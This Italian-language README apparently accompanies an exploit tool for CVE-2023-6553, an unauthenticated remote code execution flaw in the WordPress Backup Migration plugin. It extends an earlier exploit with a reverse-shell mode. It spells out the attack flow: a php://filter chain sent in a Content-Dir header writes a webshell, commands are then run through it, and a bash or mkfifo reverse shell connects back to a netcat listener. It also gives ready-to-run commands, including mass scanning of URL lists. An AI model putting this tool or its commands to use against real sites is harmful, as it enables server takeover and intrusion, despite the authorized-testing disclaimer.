
Questo exploit si basa su CVE-2023-6553 ed è stato costruito sull'exploit originale di Chocapik; è stata aggiunta la possibilità di ottenere una reverse shell diretta.
Una versione estesa dell'exploit CVE-2023-6553 di Chocapikk che aggiunge una modalità reverse shell con un solo comando alla webshell interattiva originale.
CVE-2023-6553 — Esecuzione remota di codice non autenticata nel plugin WordPress Backup Migration (versioni ≤ 1.3.7).
Il plugin espone backup-heart.php, che legge una catena di filtri PHP dall'header HTTP Content-Dir e la passa a include() senza autenticazione né sanitizzazione. Ciò consente a un attaccante non autenticato di eseguire codice PHP arbitrario iniettando una catena php://filter appositamente costruita.
Exploit originale di Chocapikk — tutta la logica di sfruttamento principale (generazione della catena di filtri, scrittura del file, shell interattiva) è opera sua. Questa repository lo estende solo con una modalità di attivazione della reverse shell.
Le uniche aggiunte sono:
trigger_reverse_shell() — dopo che la webshell è stata distribuita (stesso processo dell'originale), invia una singola richiesta GET con il comando reverse shell come parametro 0, esattamente come farebbe la shell interattiva.main() — sostituiscono interactive_shell() con trigger_reverse_shell() quando è presente -r.Tutto il resto — controllo della vulnerabilità, ciclo di scrittura del file, copia/unlink, modalità interattiva, scansione multi-URL — è invariato rispetto all'originale.
pip install requests rich alive-progress prompt-toolkit php-filter-chain
# Avvia prima il tuo listener
rlwrap nc -lvnp 4444
# Esegui l'exploit
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444
Se bash /dev/tcp non è disponibile sul target, usa mkfifo (che si affida a nc):
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444 --shell mkfifo
python3 exploit.py -u http://TARGET/blog
python3 exploit.py -u http://TARGET/blog -c
python3 exploit.py -f urls.txt -t 10 -o vulnerable.txt
-u / --url Target base URL (e.g. http://target/blog)
-r / --revshell Enable reverse shell mode
-l / --lhost Your IP to receive the shell (required with -r)
-p / --lport Your listener port (default: 4444)
--shell Shell type: bash (default) or mkfifo
-c / --check Check vulnerability only, do not deploy shell
-f / --file File with list of URLs to scan
-t / --threads Threads for multi-URL scan (default: 5)
-o / --output Output file for scan results
1. POST /wp-content/plugins/backup-backup/includes/backup-heart.php
Content-Dir: php://filter/...<encoded PHP>
→ Writes webshell char by char to a temp file
→ Copies temp file to <random>.php
2. GET /wp-content/plugins/backup-backup/includes/<random>.php?0=<cmd>
→ Executes command via backtick operator
→ Interactive mode: loops reading commands from stdin
→ Reverse shell mode: sends bash/mkfifo one-liner, connects to listener
3. Cleanup: unlink(<random>.php)
Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e ricerca sulla sicurezza. Non utilizzarlo contro sistemi per i quali non si dispone di esplicita autorizzazione al test.
| Funzionalità | Originale (Chocapikk) | Questa versione |
|---|
| Webshell interattiva | ✅ | ✅ (invariata) |
| Reverse shell | ❌ | ✅ (-r) |
| Scansione multi-URL | ✅ | ✅ (invariata) |
| Nuovi argomenti | — | -r, -l, -p, --shell |